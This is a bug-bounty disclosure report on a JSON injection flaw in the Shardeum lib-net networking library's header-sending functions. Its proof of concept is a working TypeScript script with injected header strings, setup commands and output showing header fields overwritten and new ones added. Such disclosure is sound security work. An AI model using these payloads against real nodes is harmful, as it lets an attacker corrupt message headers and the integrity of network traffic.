# #39463 \[BC-Insight] \`multiSendWithHeader\` and \`sendWithHeader\` have JSON injection vulnerability

**Submitted on Jan 30th 2025 at 17:30:22 UTC by @Pig46940 for** [**Audit Comp | Shardeum: Core III**](https://immunefi.com/audit-competition/audit-comp-shardeum-core-iii)

* **Report ID:** #39463
* **Report Type:** Blockchain/DLT
* **Report severity:** Insight
* **Target:** <https://github.com/shardeum/lib-net/tree/bugbounty>
* **Impacts:**
  * Shutdown of greater than 10% or equal to but less than 30% of network processing nodes without brute force actions, but does not shut down the network

## Description

## Brief/Intro

The `multiSendWithHeader` and `sendWithHeader` functions are vulnerable to JSON injection due to a lack of format validation in the Rust component (`header_v1.rs`). This security gap exposes the system to potential exploitation.

## Vulnerability Details

Both `multiSendWithHeader` and `sendWithHeader` rely on the `AppHeader`, which in turn uses the `send_with_header` function from the Rust component. The function's reliance on manual JSON string formatting within `header_v1.rs` without proper escaping introduces a significant risk. This oversight can be easily exploited, enabling malicious JSON injection.

## Impact Details

This vulnerability allows attackers to manipulate header information, potentially overwriting existing data or injecting arbitrary header values. The ability to modify headers poses a risk to the integrity and security of the system, making this issue urgent to address.

## References

For more technical details:

* [Index.ts - Line 324](https://github.com/shardeum/lib-net/blob/c4fc7d161db5d8ef1efdc0552c36eccf79efa596/src/index.ts#L324)
* [header\_v1.rs - Lines 117C1-L127C1](https://github.com/shardeum/lib-net/blob/c4fc7d161db5d8ef1efdc0552c36eccf79efa596/shardus_net/src/header/header_v1.rs#L117C1-L127C1)

## Proof of Concept

## Proof of Concept

This vulnerability allows an attacker to demonstrate how JSON injection can overwrite existing header data and inject arbitrary, unintended values.

### PoC code

```type
import { Command } from 'commander'
import { Sn } from '../.'
import { AppHeader, Sign } from '../build/src/types'

const setupLruSender = (port: number, lruSize: number) => {
  return Sn({
    port,
    address: '127.0.0.1',
    crypto: {
      signingSecretKeyHex:
        'c3774b92cc8850fb4026b073081290b82cab3c0f66cac250b4d710ee9aaf83ed8088b37f6f458104515ae18c2a05bde890199322f62ab5114d20c77bde5e6c9d',
      hashKey: '69fa4195670576c0160d660c3be36556ff8d504725be8a59b5a96509e0c994bc',
    },
    senderOpts: {
      useLruCache: true,
      lruSize: lruSize,
    },
    headerOpts: {
      sendHeaderVersion: 1,
    },
  })
}

const main = async () => {


  console.log('Starting cli...')

  const program = new Command()
  program.requiredOption('-p, --port <port>', 'Port to listen on')
  program.option('-c, --cache <size>', 'Size of the LRU cache', '2')
  program.parse(process.argv)

  const port = program.port.toString()
  const cacheSize = program.cache.toString()

  console.log(`Starting listener on port ${port} with cache size ${cacheSize}`)

  const sn = setupLruSender(+port, +cacheSize)

  const input = process.stdin


  /*
Send arbitrary JSON injection data.
This can overwrite existing JSON data and add arbitrary data.
  */
  input.addListener('data', async (data: Buffer) => {
    const inputs = data.toString().trim().split(' ')
    if (inputs.length === 3) {
      const message = inputs[2]
      await sn.sendWithHeader(
        +inputs[1],
        '127.0.0.1',
        { message, fromPort: +port },
        {
          compression: 'Brotli',
          tracker_id: "\",\"inject\":\"This is arbitrary data",
          verification_data: "\",\"tracker_id\":\"po\",\"message_length\":\"99\",\"verification_data\":\"po",
          sender_id: "\",\"uuid\":\"po\",\"compression\":\"po\",\"sender_id\":\"po",
        },
        1000,
        (data: unknown, header?: AppHeader) => {
          console.log('onResp: Received response:', JSON.stringify(data, null, 2))
          if (header) {
            console.log('onResp: Received header:', JSON.stringify(header, null, 2))
          }
        }
      )
      console.log('Message sent')
    } else if (inputs.length === 2) {
      sn.evictSocket(+inputs[1], '127.0.0.1')
      console.log('Cache cleared')
    } else {
      console.log('=> send <port> <message>')
      console.log('=> clear <port>')
    }
  })

  sn.listen(async (data: any, remote, respond, header, sign) => {
    if (data && data.message === 'ping') {
      console.log('Received ping from:', data.fromPort)
      console.log('Ping header:', JSON.stringify(header, null, 2))
      // await sleep(10000)
      return respond(
        { message: 'pong', fromPort: +port },
        {
          compression: 'Brotli',
        }
      )
    }
    if (data && data.message === 'pong') {
      console.log('Received pong from:', data.fromPort)
    }
    if (header) {
      console.log('Received header:', JSON.stringify(header, null, 2))
    }
    if (sign) {
      console.log('Received signature:', JSON.stringify(sign, null, 2))
    }
  })
}

const sleep = (ms: number) => {
  return new Promise((resolve) => setTimeout(resolve, ms))
}

main().catch((err) => console.log('ERROR: ', err))
```

### How to run

#### Installation

```bash
$ git clone https://github.com/shardeum/lib-net.git
$ cd lib-net
$ npm install
$ npm build
$ npm install -g ts-node
```

#### Run Server

Create PoC code into `lib-net/test` as a `test_poc.ts`

* Terminal1\
  Sending server

```bash
$ ts-node test/test_poc.ts -p 3000 -c 2
```

* Terminal 2\
  Receiving server

```bash
$ ts-node test/test_poc.ts -p 3001 -c 2
```

#### Send header

Send JSON injection data to Terminal2

* terminal1\
  Send data to the terminal2

```
send 3001 poc
```

#### Output

Not only can it overwrite existing data, but it can also add arbitrary JSON data using escaped string data.

```
Received header: {
  "uuid": "po", // Overwrited
  "message_length": "99", // Overwrited
  "sender_id": "po", // Overwrited
  "compression": "po", // Overwrited
  "tracker_id": "po", // Overwrited
  "inject": "This is arbitrary data", // Added arbitrary data
  "verification_data": "po"  // Overwrited
}
Received signature: {
  "owner": "8088b37f6f458104515ae18c2a05bde890199322f62ab5114d20c77bde5e6c9d",
  "sig": "40e7f4b408298babd24ceff1d66594692dcb8070a0826db9139d8f76a6efcecbedf1996b0de423eb55ab261e5bddedd08fb176c6d50e000f462844f74a27b90915023cfee8c590b6e7ba0d3d6dc8cb185e63d519fbd781e937b17292396bf0f0"
}
```
